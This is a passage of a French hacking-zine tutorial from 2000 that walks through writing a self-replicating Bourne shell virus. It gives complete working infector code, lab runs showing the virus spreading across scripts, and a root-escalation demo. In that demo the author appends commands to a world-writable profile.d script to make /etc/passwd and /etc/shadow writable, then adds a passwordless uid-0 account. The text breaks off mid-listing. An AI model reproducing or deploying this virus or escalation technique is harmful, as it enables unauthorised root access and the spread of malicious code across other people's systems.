le 01/10/2000. ##################################### VIRUS Linux SSI ################################# La Shell Script Infection, By ThreaT. #################################################################################### ////////\\\\\\\ |||||||||||||||||||||||||||||||||||||||||||||||sommaire||||||||||||||||||||||||||||||||||||||||||||||| \\\\\\\\/////// \x00/ Disklamer \x01/ Introduction \x02/ Analyse du besoin \x03/ Etude theorique de fonction \x04/ Mise en place du code \x05/ Observation en laboratiore \x06/ debugging & ajout de fonction \x07/ gachette, trojan & optimisation \x08/ Recapitulation \x09/ Conclusion \x0a/ FIN Annexe 1 : BourneShell code de Absurdus Delirium 2.0 by ThreaT. ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| \\0x00// DISKLAMER @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Apres quelques mois (voir années) d'absence sur le "visible" de la scene underground française, j'ai decidé de vous faire un exposer encore jamais vue à ma connaissance. (pas en français en tout cas) un article sortie de l'ombre, pour ce montrer à ceux qui aurait put nous oublier... le titre pouvant être mal interpreté, je prefere prevenir tout de suite: le VIRUS qui vas être exposer n'est aucunement un code destiné à la destruction! cet article va traiter de la mise en oeuvre d'un code viral qui nous donneras la possibilitée d'exporter des commandes, visant à deverouillé une politique de sécurité mis en place sur une architecture réseaux de type unix/linux. ----------------------------------------------------------------------------- aucun de ces codes sources & explications n'ont été pompé ou que ce soit! cet article n'est pas un vulgaire copier coller traduit d'un mag trouvé aux fin fond d'un dd perdu. merci de ne pas confondre notre travail avec ce que vous avez l'habitude de voir le plus souvent. ...MvM... ------------------------------------------------------------------------------ je ne suis en aucun cas responsable de la mauvaise utilisation & | interpretation de cet article. celui ci, s'adressant aux personnes desireuses d'étendre leurs connaissances dans le domaine de l'informatique, suppose une bonne pratique de Linux ou de tout autre système Unix. toutefois, je prefere vous prevenir qu'il est distribué à titre d'information sur les possibilitées offertes aux "utilisateurs avertis". l'ortographe n'étant pas du tout mon point fort, je vous pris de m'en excuser. ps: si vous avez des problèmes de visualisation, cet article a été écrit sous GXedit 1.23. merci de vous en réferer à ce traitement de texte \\0x01// INTRODUCTION @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ beaucoup de gens restes encore sceptique à l'idée de mettre sur pied du code infecteur sous linux. il est vrai que cela peut paraitre difficile, vue que les acces aux fichiers peuvent être rigoureusement controlés. Et pourquoi, ne pas faire justement, un virus (j'entend par la, code qui ce replique) qui servirait au bypassage de restrictions. Un virus modifiable en bash qui tenterais de s'auto-repliquer à travers tout les scripts auquels il a acces, incluant un code trojan que l'on pourrait modifer à notre guise, et qui nous donnerais un lien direct à tout les uid utilisateurs infectées! pas possible, me repondrez vous! n'avez vous pas pensez qu'un système informatique a pour propriétée le partage de l'information? et que meme si un systeme utilise un verrouillage de fichier par utilisateur, que peut être 2 uid pourraient utiliser le même fichier? surement que si que vous y avez pensés! nous aussi... \\0x02// ANALYSE DU BESOIN @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Dans un environnement unix, tout utilisateur a la possibilités, d'écrire, de lire et d'éxécuter des scripts. ainsi, les commandes incluent dans ce genre de fichier sont executées avec l'uid de l'utilisateur qui les invoques, comme tout exécutables. l'avantage des scripts bash, et que étant très puissant, ils sont largement utilisés à travers la communaute unix, offrant un moyen rapide et simple à mettre en oeuvre de minis applications qui depassent largement les possibilitées offertes par les pseudos-scripts batch, ou cmd incluent dans les environnements microsoft. de ce faite, une attaque très connue consiste à trouver, ou à créer un script, qui seras invoqué par un uid different du notre, et d'y inclure des commandes que l'uid victime auras l'autorisation d'éxécuter, on appelle cela, la technique du cheval de troie (qui n'a rien à voir avec les TROJANS pour lamerz que vous connaissez) le problème avec cette technique, est de trouver un script en own write acces, utilisé par une autre entitée. cela peut durer des jours, voir même des mois d'observation sur la manière et les habitudes d'utilisations que font les gens de leurs systèmes. voici une demonstration d'attaque par cheval de troie sur un système dont je connais super bien le root, et chez qui j'ai un acces user simple. [root@ThreaT@workgroup /root]# telnet maverick Trying 163.65.80.90... Connected to Maverick.workgroup. Escape character is '^]'. Welcome to Maverick.workgroup Linux Mandrake release 7.0 (Air) Kernel 2.2.14-15mdk on an i686 login: threat password: Warning : your password will expire in -1 days last login: Sun Mar 19 16:58:00 on tty4 [ThreaT@Maverick@workgroup threat]$ ls -l /etc/profile.d/*.sh -rwxr-xr-x 1 root root 672 Mar 13 14:11 /etc/profile.d/alias.sh* -rwxr-xr-x 1 root root 191 Mar 13 14:44 /etc/profile.d/color_ls.sh* -rwxr-xr-x 1 root root 133 Jan 12 06:36 /etc/profile.d/inputrc.sh* -rwxr-xr-x 1 root root 192 Jan 7 15:00 /etc/profile.d/kde.sh* -rwxr-xr-x 1 root root 1682 Mar 13 14:18 /etc/profile.d/lang.sh* -rwxr-xrwx 1 mav root 38 Jun 14 18:48 /etc/profile.d/mav.sh* -rwxr-xr-x 1 root root 167 Jan 4 22:50 /etc/profile.d/mc.sh* -rwxr-xr-x 1 root root 267 Dec 22 18:24 /etc/profile.d/numlock.sh* -rw-r--r-- 1 root root 0 Feb 23 21:18 /etc/profile.d/proxy.sh -rwxr-xr-x 1 root root 103 Dec 21 14:44 /etc/profile.d/screen.sh* -rwxr-xr-x 1 root root 152 Mar 13 14:15 /etc/profile.d/xhost.sh* [ThreaT@Maverick@workgroup threat]$ comme je viens de le dire, je connais super bien le root (ben oui, c'est maverick) bon, je sais que maverick a modifie son profile, et c'est crée un script qui lui dit "bonjour maître" à chaque fois qu'il lance un shell root, ou un shell utilisateur qu'il c'est crée à titre perso. seulement, ce qu'il ne sait pas, c'est que l'user "mav", qui lui a servit à crée son script possede un umask de 020! pour ceux qui n'auraient pas compris, cela veut dire que chaque fois que maverick crée un fichier avec son utilisateur "mav", celui ci se retrouve en read write exec pour lui même, read et exec pour le groupe, et read write exec pour les autres :) ce qui veut dire que nous possedons la un script own write access!! -rwxr-xrwx 1 mav root 38 Jun 14 18:48 /etc/profile.d/mav.sh* cette observation étant faite, il ne reste plus qu'à agir. [ThreaT@Maverick@workgroup threat]$ echo "chmod 777 /etc/passwd && chmod 777 /etc/shadow" >> /etc/profile.d/mav.sh on attend que maverick balance un root shell... [ThreaT@Maverick@workgroup threat]$ ls -l /etc/passwd /etc/shadow -rwxrwxrwx 1 root root 796 Mar 13 13:58 /etc/passwd -rwxrwxrwx 1 root root 712 Mar 13 13:58 /etc/shadow [ThreaT@Maverick@workgroup threat]$ echo "owned:*:0:0:::" >> /etc/passwd [ThreaT@Maverick@workgroup threat]$ echo "owned::11035:0::7:::0" >> /etc/shadow [ThreaT@Maverick@workgroup threat]$ su owned Warning: your password will expire in -1 days [root@Maverick@workgroup /]# whoami root ok, jusque la, tout est très simple. mais imaginons un instant, que je veuille prendre la main sur tout un parc info. n'ayant pas le temp d'aller me promener en temps que root dans tout les acces de maverick sur le reseau, il me serait pratique qu'un code auto-reproductible, incluant ma commande trojan puisse se reproduire à travers tout les scripts own write access d'un utilisateur infecté. ce qui aurait pour avantages : - le boulot serait fait par les autres, et cela sans qu'ils s'en appercoivent - impossibilite de reperer mon compte dans la tracabilitée des modifications - possibilite d'infecter plusieurs utilisateurs (qui permet de chopper different uid) - possibilite d'infecter TOUT le système, si root est infecté, ce qui peut permettre au virus de passé sur d'autres becanes - possibilite de crée un lien dans le repertoire temporaire qui nous donnerait un contrôl commande sur tous les utilisateurs infectés. - possibilite de rajouter des fonctions une fois que le virus est implemanté possibiliter de faire travailler votre imagination est votre creativitée, pour infiltrer des systèmes sans êtres des moutons du hack moderne... tout cela vous plait? alors éteignez la musique, dite à mémé de baisser le son de la télé, et concentrez votre partie du cerveau qu'on appelle le cerveau cortical sur les lignes qui vont suivre.. car nous allons commencer... \\0x03//ETUDE THEORIQUE DE FONCTION @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ notre but et en premier lieu de crée un script auto-reproductible, capable d'infecter tout shell script! nous nous trouvons tout de suite devant 5 exigences: - reconnaitre un shell script d'un autre fichier - extraire son propre code du code porteur - pointer le script à infecter - reconnaitre un script porteur d'un script saint - ecrire le code virale dans le code cible 001/ reconnaitre un shell script, d'un autre fichier #################################### pour assurrer cette exigence, nous allons nous referez à la commande "file" "file" est une commande permettant de determiner le type de fichier pointé par son argument. (pour plus de detaille, man file) un petit exemple : [root@ThreaT@workgroup /root]# file core core: ELF 32-bit LSB core file of 'kioslave' (signal 11), Intel 80386, version 1 [root@ThreaT@workgroup /root]# file /bin/login /bin/login: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), stripped [root@ThreaT@workgroup /root]#file /sbin/ifdown /sbin/ifdown: Bourne shell script text donc, comme on peut le voir, file nous dit à quel type de fichier on a à faire. dans l'exemple si dessus, on voit que core est un dump memoire generé par kioslave, /bin/login est un executable 32-bit et /sbin/ifdown est un Bourne shell script (ce qui nous interresse :) bon, ok, mais comment constituer un script qui feras la différence entre tout ce bordel? très simple, il suffit de rediriger la sortie de commande dans un fichier tampon que nous analyserons par la suite a l'aide de la commande grep. pour exemple, voici un shell script qui va analyser tout les fichiers du repertoire courant, et nous retourner le nom de tout les Bournes shell scripts --------cut--------------------- #!/bin/sh #bsearch.sh by ThreaT for fichier in * do file $fichier > /tmp/t if grep "shell" /tmp/t > /dev/null; then echo "$fichier est un Bourne shell script" fi done rm -f /tmp/t #fin du script ---------cut---------------------- voici le resultat produit dans un repertoire courant comme si dessous: [root@ThreaT@workgroup /root/script]# chmod +x bsearch.sh [root@ThreaT@workgroup /root/script]# ls bsearch.sh* core ed* igawk* install.log ping* remadmin* [root@ThreaT@workgroup /root/script]# ./bsearch.sh bsearch.sh est un Bourne shell script igawk est un Bourne shell script remadmin est un Bourne shell script [root@ThreaT@workgroup /root/script]# ok, maintenant on sait reconnaitre un bourne shell script d'un autre fichier. 010/extraire son propre code du code porteur ################################ pour cela, rien de plus simple, nous allons nous appuyez sur la commande "grep" comme au dessus. grep est une commande qui affiche les lignes correspondant à un motif donné, c'est à dire que celui ci peut extraire toute chaine contenant le même mot (pour plus de précision, man grep) un exemple, j'ecrit un fichier texte quelconque [root@ThreaT@workgroup /root]#vi texte !!salut les bob, ceci est un fichier qui vas nous servir de test c'est a dire que nous allons tenter d'extraire celui ci pour y lire ce qui nous interresse!! <:wq!> maintenant, je vais extraire du texte les lignes contenants un "!!" [root@ThreaT@workgroup /root]# grep "!!" texte !!salut les bob, ceci est un fichier qui vas nous servir de test pour y lire ce qui nous interresse!! [root@ThreaT@workgroup /root]# comme vous avez put le remarquer, grep a sortie de notre texte les 2 lignes comportant le motif qu'on lui a indiqué. ce qui veut dire que notre code viral doit comporter dans chacune de ces commandes un motif identique qui pourras être extrait par grep, mais qui ne doit pas être dans le code porteur. sachant que grep differencie les majuscules des minuscules, nous n'aurons pas trop de mal! mais ou allons nous placer cette chaine identique qui seras en quelque sorte la "signature" de notre virus? ben c'est très simple, il suffi de la placer en commentaire à chaque fin de commande. un exemple: ce petit script va différencier les chaines virals, des chaines porteuses à l'interieur de lui même -----cut---------- #!/bin/sh #virsign.sh, by ThreaT echo "je suis une chaine viral" #MvM echo "je suis une chaine viral" #MvM echo "je suis une chaine viral" #MvM echo "je suis une chaine viral" #MvM echo "je suis une chaine porteuse" echo "je suis une chaine porteuse" echo "je suis une chaine porteuse" echo "je suis une chaine porteuse" echo "--------------------------" echo "attention, le petit virus vas sortir" echo "------------------- ------" grep "MvM" $0 echo "il est sortie à l'ecran" echo "mais il peut sortir aussi dans un fichier" echo "par simple redirection" grep "MvM" $0 > viruss echo. echo "si vous ne me croyez pas tapez 'cat viruss'" #fin du script ------cut---------- executons cette petite saloperie [root@ThreaT@workgroup /root/script]# chmod +x virsign.sh [root@ThreaT@workgroup /root/script]# ./virsign.sh je suis une chaine viral je suis une chaine viral je suis une chaine viral je suis une chaine viral je suis une chaine porteuse je suis une chaine porteuse je suis une chaine porteuse je suis une chaine porteuse -------------------------- attention, le petit virus vas sortir ------------------- ------ echo "je suis une chaine viral" #MvM echo "je suis une chaine viral" #MvM echo "je suis une chaine viral" #MvM echo "je suis une chaine viral" #MvM grep "MvM" $0 grep "MvM" $0 > viruss il est sortie à l'ecran mais il peut sortir aussi dans un fichier par simple redirection si vous ne me croyez pas tapez 'cat viruss' [root@ThreaT@workgroup /root/script]# ls bsearch.sh* core ed* gawk* install.log ping* remadmin* virsign.sh* viruss on voit bien que le script a crée un nouveau fichier appellé viruss [root@ThreaT@workgroup /root/script]# cat viruss echo "je suis une chaine viral" #MvM echo "je suis une chaine viral" #MvM echo "je suis une chaine viral" #MvM echo "je suis une chaine viral" #MvM grep "MvM" $0 grep "MvM" $0 > viruss [root@ThreaT@workgroup /root/script]# et que celui si contient bien les chaines extraites du script porteur ce qui veut dire que par la suite, nous pourrons rediriger ces quelques lignes à la suite d'un script pointé par notre virus. étudions sa tout de suite 011/pointer le script à infecter ##################### si vous avez compris la première partie, sa va être très facile. pour obtenir une chaine contenant tout les scripts à infecter, nous allons utiliser les variables d'environnements à l'interieur de notre boucle de recherche, c'est a dire qu'au lieu de retourner le nom du script trouvé dans l'exemple "001" (bsearch.sh) à l'ecran, nous allons placer ce nom dans une variable d'environnement que nous aurons formatés afin que celle si puisse être utilisée par une autre boucle de type for ce qui nous donne: ---------cut---------------- #!/bin/sh #bsearch2.sh by ThreaT for fichier in * do file $fichier > /tmp/t if grep "shell" /tmp/t > /dev/null; then var="$var $fichier" #on assigne le nom trouver a une variable d'environnement en formattant de la facon 'fichier fichier fichier..." fi done rm -f /tmp/t echo "nous allons maintenant jetter un oeil a \$var pour voir ce qu'il contient" echo " -------------------" echo "$var" #fin du script ----------cut-------------------- voyons ce que sa donne: [root@ThreaT@workgroup /root/script]# chmod +x bsearsh2.sh [root@ThreaT@workgroup /root/script]# ls bsearch.sh* bsearch2.sh* core ed* igawk* install.log ping* remadmin* virsign.sh* virsign.sh~* viruss [root@ThreaT@workgroup /root/script]# ./bsearch2.sh nous allons maintenant jetter un oeil a $var pour voir ce qu'il contient ------------------- bsearch2.sh bsearch2.sh~ bsearch.sh igawk remadmin virsign.sh virsign.sh~ comme on peut le voir dans cet exemple, la chaine d'environnement contient le nom de tout les shell scripts du repertoire courant, ce qui veut dire que nous allons maintenant pouvoir assignés cette variable à une boucle for. et comme nous avons formatés la chaine avec des espaces "fichier fichier fichier..." et que for utilise en argument des chaines éspacées, nous allons pouvoir effectuer des manipulations independentes sur chaque script contenu dans cette variable. c'est pas la classe sa! 100/reconnaitre un script porteur d'un script saint ################################### maintenant qu'on sait pointer un script, et le soummettre à de multiple test, il serait interresant de savoir si celui ci n'est pas deja infecté, car si cette vérification n'est pas assurée, c'est toute l'integritée du système qui risque d' être compromise pour cause de sur-infection! car le virus infecterait toujours les mêmes scripts, et ferait evolué la taille des fichiers en consequence. heureusement pour nous, l'opération va être super facile! on va utiliser notre amis GREP en lui donnant pour argument une chaine UNIQUE composée de caractères alterées, comme sa, nous serons sur de l'état du fichier ciblé. un petit exemple: nous allons apporter une petite modification au script du dessus ----------cut------------------- #!/bin/sh #detect.sh by ThreaT for fichier in * do file $fichier > /tmp/t if grep "shell" /tmp/t > /dev/null; then var="$var $fichier" fi done rm -f /tmp/t for inspect in $var do if grep "iNFeCtiON" $inspect > /dev/null; then echo "$inspect est infecter" fi done #fin du script ----------cut------------------- ok, maintenant, nous allons prendre dans notre repertoire courant un ou deux bourne shell, et on vas leur foutre la chaine "iNFeCtiON" au cul [root@ThreaT@workgroup /root/script]# ./bsearch.sh bsearch2.sh est un Bourne shell script bsearch2.sh~ est un Bourne shell script bsearch.sh est un Bourne shell script detect.sh est un Bourne shell script igawk est un Bourne shell script remadmin est un Bourne shell script virsign.sh est un Bourne shell script virsign.sh~ est un Bourne shell script [root@ThreaT@workgroup /root/script]# echo "iNFeCtiON" >> bsearch2.sh~ [root@ThreaT@workgroup /root/script]# echo "iNFeCtiON" >> virsign.sh~ [root@ThreaT@workgroup /root/script]# chmod +x detect.sh [root@ThreaT@workgroup /root/script]# ./detect.sh bsearch2.sh~ est infecter detect.sh est infecter virsign.sh~ est infecter [root@ThreaT@workgroup /root/script]# comme vous pouvez le constater, la fonction a parfaitement réussie à reconnaitre les fichiers de type bourne shell script qui possedaient le motif d'infection!! une petite remarque à ce sujet : j'ai pas ecris "iNFeCtiON" en mixed case pour me la pété, mais pour être bien sur que grep reconnaitra ce motif comme une chaine unique. (je dis sa car y'a un gros lame qui commence à me faire des reflexions derriere mon épaule) "tu frais mieux d'aller bosser sur ton bof plutot que de m'emmerder pendent que j'ecrit" voila, on c'est debarrassez du lama! continuons sur notre lancer... 101/ecrire le code virale dans le code cible ############################## newbie: "je vois pas pourquoi tu va encore nous faire chier!!" "on sait tous comment ecrire dans le code cible tu l'a dit tout a l'heure" "il suffit juste de faire un redirection des chaines trouvées par grep" ThreaT: "Si seulement sa pouvait être aussi simple..." aller va, me dites pas que vous ne l'avez pas pensés, vous vous dites qu'un indicateur de direction de type >> suffiras à satisfaire cette exigence, et vous vous demandez pourquoi je vais faire une parti pour sa! en faite ce n'est pas si simple imaginons que vous tombiez sur un shell appartenant à un étudiant en informatique. [user@Etudiant@linux user]$ ls -l /etc/profile.d/*.sh -rwxr-xr-x 1 root root 672 Mar 13 14:11 /etc/profile.d/alias.sh* -rwxr-xr-x 1 root root 191 Mar 13 14:44 /etc/profile.d/color_ls.sh* -rwxr-xr-x 1 root root 133 Jan 12 06:36 /etc/profile.d/inputrc.sh* -rwxr-xr-x 1 root root 192 Jan 7 15:00 /etc/profile.d/kde.sh* -rwxr-xr-x 1 root root 1682 Mar 13 14:18 /etc/profile.d/lang.sh* -rwxr-xrwx 1 root root 38 Jun 14 18:48 /etc/profile.d/master.sh* -rwxr-xr-x 1 root root 167 Jan 4 22:50 /etc/profile.d/mc.sh* -rwxr-xr-x 1 root root 267 Dec 22 18:24 /etc/profile.d/numlock.sh* -rw-r--r-- 1 root root 0 Feb 23 21:18 /etc/profile.d/proxy.sh -rwxr-xr-x 1 root root 103 Dec 21 14:44 /etc/profile.d/screen.sh* -rwxr-xr-x 1 root root 152 Mar 13 14:15 /etc/profile.d/xhost.sh* ho putain le con, il a fait un script à la maverick en write acces pour les users -rwxr-xrwx 1 root root 38 Jun 14 18:48 /etc/profile.d/master.sh* tout content, vous voulez faire comme dans l'article que vous avez lu dans votre jeunesse! [user@Etudiant@linux user]$ chmod 777 /etc/passwd && chmod 777 /etc/shadow >> /etc/profile.d/master.sh [user@Etudiant@linux user]$ le lendemain... [user@Etudiant@linux user]$ ls -l /etc/passwd /etc/shadow -rw-r--r-- 1 root root 796 Mar 13 13:58 /etc/passwd -rw------- 1 root root 712 Mar 13 13:58 /etc/shadow [user@Etudiant@linux user]$ heeuu merde!! bash : heeuu: command not found [user@etudiant@linux user]$ mais pourquoi sa n'a pas marché?? [user@Etudiant@linux user]$ cat /etc/profile.d/master.sh #!/bin/sh echo "bonjour maître" exit 0 chmod 777 /etc/passwd && chmod 777 /etc/shadow [user@Etudiant@linux user]$ et oui, il fallait s'y attendre! normalemment, tout bon codeur qui a appris pour avoir une bonne note à l'école sait qu'il faut toujours terminer son script par un signal positif ou negatif (selon erreur ou pas) donc par exit 0 ou exit 1. ce qui fait que notre commande qui a été ajoutée par le redirecteur de chaine >> "append" est baisé, car le processus rencontre la commande de terminaison du script avant notre fucked commande dans le cas on l'on agit manuellement, la solution serais de mettre notre commande au debut du script! ok mais dans le cas ou l'on fait un script qui va s'auto-repliquer, si celui si infecte un script ce terminant par exit, et ben on est baisé jusqu'a l'os! But What is ZE solution? la solution à apportée va ce faire en 3 temps 1-extraire le code cible dans un fichier temporaire 2-ecrire notre code viral en ecrasant le code cible 3-ajouter le code cible contenu dans le fichier temporaire à la fin de notre code viral =================================demonstration=========================== *************************environnement*************************** ----------cible.sh------------------- #!/bin/sh echo "je suis un fichier innocent" ----------------------------------- ---------virus.sh-------------------- #!/bin/sh echo "je suis un code malveillant!" #signature ------------------------------------ -----------temp-------------------- ---------------------------------- ******************************************************************** ******************************************************************* les commandes : ###################################### 1/extraire le code cible dans un fichier temporaire ###################################### commande: { cat cible.sh > temp } incidence : { -----------cible.sh--------------- #!/bin/sh echo "je suis un script innocent" -------------------------------- ----------temp------------------- #!/bin/sh echo "je suis un script innocent" -------------------------------- } ######################################## 2-ecrire notre code viral en ecrasant le code cible ####################################### commandes: { echo "#!/bin/sh" > cible.sh grep "signature" $0 >> cible.sh } incidence: { ---------virus.sh-------------------- #!/bin/sh echo "je suis un code malveillant!" #signature ------------------------------------ ----------cible.sh------------------- #!/bin/sh echo "je suis un code malveillant!" #signature ----------------------------------- } ################################################################# 3-ajouter le code cible contenu dans le fichier temporaire à la fin de note code viral ################################################################# commande: { cat temp >> cible.sh } incidence: { ----------temp------------------- #!/bin/sh echo "je suis un script innocent" -------------------------------- ----------cible.sh------------------- #!/bin/sh echo "je suis un code malveillant!" #signature #!/bin/sh echo "je suis un script innocent" ----------------------------------- } voila, on peut pas faire plus simple. en faite je viens de vous montrez une facon, mais en reflechissant bien, il serais mieux de constituer d'abord le virus integré à son code porteur dans le fichier temporaire, et ecraser la cible par le tout! cela serais un peu plus sécure... enfin bon, on s'en fou! bon, maintenant qu'on a trouvés comment satisfaire les exigences pour pouvoir mettre sur pied un virus SSI basic nous allons coller tout les morceaux pour voir ce que sa donne en realitée. \\0x04// MISE EN PLACE DU CODE @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ nous allons mettre tout les elements indiqués si dessus bout à bout, pour donner naissance à un jeune virus sans experiance. allez maman, poussez fort!! les étapes : 1/recenser les victimes potentielles 2/regarder si la victime potentielle est deja porteuse du virus 3/infecter la victime si celle si est encore saine (j'allait dire vierge, mais on va me prendre pour un pervert) voyons de quoi nous disposons ########################### 1/recenser les victimes potentielles ########################### code a disposition: ******************** #!/bin/sh #bsearch2.sh by ThreaT for fichier in * do file $fichier > /tmp/t if grep "shell" /tmp/t > /dev/null; then var="$var $fichier" #on assigne le nom trouver a une variable d'environnement en formattant de la facon 'fichier fichier fichier..." fi done rm -f /tmp/t echo "nous allons maintenant jetter un oeil a \$var pour voir ce qu'il contient" echo " -------------------" echo "$var" #fin du script ############################################### 2/regarder si la victime potentielle est deja porteuse du virus ############################################### code a disposition: ******************* for inspect in $var do if grep "iNFeCtiON" $inspect > /dev/null; then echo "$inspect est infecter" fi done ##################################### 3/infecter la victime si celle si est encore vierge (en fin de compte, je me suis dit que j'etait un gros pervert) ##################################### code a disposition: ******************* cat cible.sh > temp echo "#!/bin/sh" > cible.sh grep 'signature" $0 >> cible.sh cat temp >> cible.sh rm -f temp que l'on vas remplacer par: echo "#!/bin/sh" > temp grep "signature" $0 >> temp cat cible.sh >> temp cat temp > cible.sh cette version est un peut plus sécure, car si un blème vient à survenir lors de l'appelle de l'une des 3 premières commandes, la cible n'est pas detruite. ================================================================================== on va maintenant fusionner tout sa !! en optimisant un peu le nom des variables (c'est que sa prend vite de la place) ================================================================================ ---------virus.sh------------ #!/bin/sh echo "virus.sh version 0.0 by ThreaT" #MvM echo " a titre experimantal" #MvM for f in * #MvM do #MvM file $f > /tmp/t #MvM if grep "shell" /tmp/t > /dev/null; then #MvM v="$v $f" #MvM fi #MvM done #MvM for i in $v #MvM do #MvM if grep "ViRuS" $i > /dev/null; then #MvM continue #MvM fi #MvM echo "#!/bin/sh" > /tmp/t #MvM grep "MvM" $0 >> /tmp/t #MvM cat $i >> /tmp/t #MvM cat /tmp/t > $i #MvM done #MvM rm -f /tmp/t #MvM #fin du virus -------------------------------- et voila, notre tout premier virus ultra basic qui ne pense qu'à niquer! le virus primaire, trivial, le gros truc qui ne survivra pas une seconde sur un serveur... avouez que vous avez hate de voir comment sa reagit, hein? \\0x05//OBSERVATION EN LABORATOIRE @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ pour notre premier essai, nous allons constituer un repertoire dédié à la prolifération de notre bestiol. comme celui si n'a pas de fonction d'exportabilitée hors du repertoire courant, ce seras facilement controlable. -------------debut de l'observation------------------ ----------------------------------------------- -------avec commentaires pour les novices du shell------- ----------------------------------------------- /*tout d'abbord, on vas specifier le bit d'execution à notre virus */ [root@ThreaT@workgroup /root/script/virii]# chmod +x virus.sh /*ici on crée un script pourris, qui feras office de victime */ [root@ThreaT@workgroup /root/script/virii]# vi innocent #!/bin/sh echo "je suis innocent!" <:wq!> /* le script crée, on lui assigne le bit d'execution */ [root@ThreaT@workgroup /root/script/virii]# chmod +x innocent /* et on le lance, pour voir si il marche bien */ [root@ThreaT@workgroup /root/script/virii]# ./innocent je suis innocent! /*ok, maintenant, observons notre repertoire */ [root@ThreaT@workgroup /root/script/virii]# ls -l total 8 -rwxr-xr-x 1 root root 34 Mar 14 00:15 innocent* -rwxr-xr-x 1 root root 468 Mar 14 00:12 virus.sh* /* je tiens à attirer votre attention sur le faite que "innocent" fait 34 octets */ /*executons notre virus*/ [root@ThreaT@workgroup /root/script/virii]# ./virus.sh virus.sh version 0.0 by ThreaT a titre experimantal /*sa, c'est le petit message pour ce la pété! mais à par sa, y'a pas de messages d'erreurs*/ /*rejettons un oeil sur notre repertoire*/ [root@ThreaT@workgroup /root/script/virii]# ls -l total 8 -rwxr-xr-x 1 root root 488 Mar 14 00:18 innocent* -rwxr-xr-x 1 root root 468 Mar 14 00:12 virus.sh* /* tiens, "innocent fait 488 octet? mais comment sa ce fait? */ /* on réexecute "innocent" */ [root@ThreaT@workgroup /root/script/virii]# ./innocent virus.sh version 0.0 by ThreaT a titre experimantal je suis innocent /* plus si innocent que sa à ce que je vois */ /* regardons le corp du script pour voir */ [root@ThreaT@workgroup /root/script/virii]# cat innocent #!/bin/sh echo "virus.sh version 0.0 by ThreaT" #MvM echo " a titre experimantal" #MvM for f in * #MvM do #MvM file $f > /tmp/t #MvM if grep "shell" /tmp/t > /dev/null; then #MvM v="$v $f" #MvM fi #MvM done #MvM for i in $v #MvM do #MvM if grep "ViRuS" $i > /dev/null; then #MvM continue #MvM fi #MvM echo "#!/bin/sh" > /tmp/t #MvM grep "MvM" $0 >> /tmp/t #MvM cat $i >> /tmp/t #MvM cat /tmp/t > $i #MvM done #MvM rm -f /tmp/t #MvM #!/bin/sh echo "je suis innocent" /* bingo! la cible est parfaitement infectée */ ---------------------------------------------------- bon, maintenant, on va regarder si notre script "innocent" est capable d'infecter un autre script idiot ---------------------------------------------------- /*creation du script idiot */ [root@ThreaT@workgroup /root/script/virii]# vi idiot #!/bin/sh echo "je suis un script idiot" <:wq!> /*assignation du bit d'execution */ [root@ThreaT@workgroup /root/script/virii]# chmod +x idiot /*observation du repertoire*/ [root@ThreaT@workgroup /root/script/virii]# ls -l total 12 -rwxr-xr-x 1 root root 42 Mar 14 00:40 idiot* -rwxr-xr-x 1 root root 488 Mar 14 00:18 innocent* -rwxr-xr-x 1 root root 468 Mar 14 00:12 virus.sh* /*comme d'hab, vous avez bien observé le nombre d'octet de "idiot" */ /*execution du script "innocent"*/ [root@ThreaT@workgroup /root/script/virii]# ./innocent virus.sh version 0.0 by ThreaT a titre experimantal je suis innocent /*on rejette un oeil au repertoire*/ [root@ThreaT@workgroup /root/script/virii]# ls -l -rwxr-xr-x 1 root root 496 Mar 14 00:40 idiot* -rwxr-xr-x 1 root root 488 Mar 14 00:18 innocent* -rwxr-xr-x 1 root root 468 Mar 14 00:12 virus.sh* /* et hop, innocent à infecté idiot */ ha la la, ces jeunes, ils ne pensent qu'à ce reproduires... maintenant, nous allons tout effacer (sauf idiot) puis nous allons crée un petite 20ene de scripts pour voir si idiot est capable de ce reproduire dans les 20! [root@ThreaT@workgroup /root/script/virii]# rm virus.sh rm: remove 'virus.sh"? y [root@ThreaT@workgroup /root/script/virii]#rm innocent rm: remove 'innocent'? y /*on crée le script test original*/ [root@ThreaT@workgroup /root/script/virii]# vi testt #!/bin/sh echo "je suis un programme test" <:wq!> /*on crée un script pour en copier 20 (vous aviez pas cru que j'allait m'y pallucher à la main?")*/ [root@ThreaT@workgroup /root/script/virii]# vi sccopy #!/bin/sh a=1 while [ "$a" -le 20 ]; do cp testt testt$a a=$(($a+1)) done <:wq!> /*celui la, on le met en bit exec*/ [root@ThreaT@workgroup /root/script/virii]#chmod +x sccopy /* on l'execute */ [root@ThreaT@workgroup /root/script/virii]# ./sccopy /*on liste le repertoire*/ [root@ThreaT@workgroup /root/script/virii]# ls -l total 92 -rwxr-xr-x 1 root root 496 Mar 14 00:41 idiot* -rwxr-xr-x 1 root root 74 Mar 14 01:09 sccopy* -rw-r--r-- 1 root root 43 Mar 14 00:50 testt -rw-r--r-- 1 root root 43 Mar 14 01:08 testt1 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt10 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt11 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt12 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt13 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt14 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt15 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt16 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt17 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt18 -rw-r--r-- 1 root 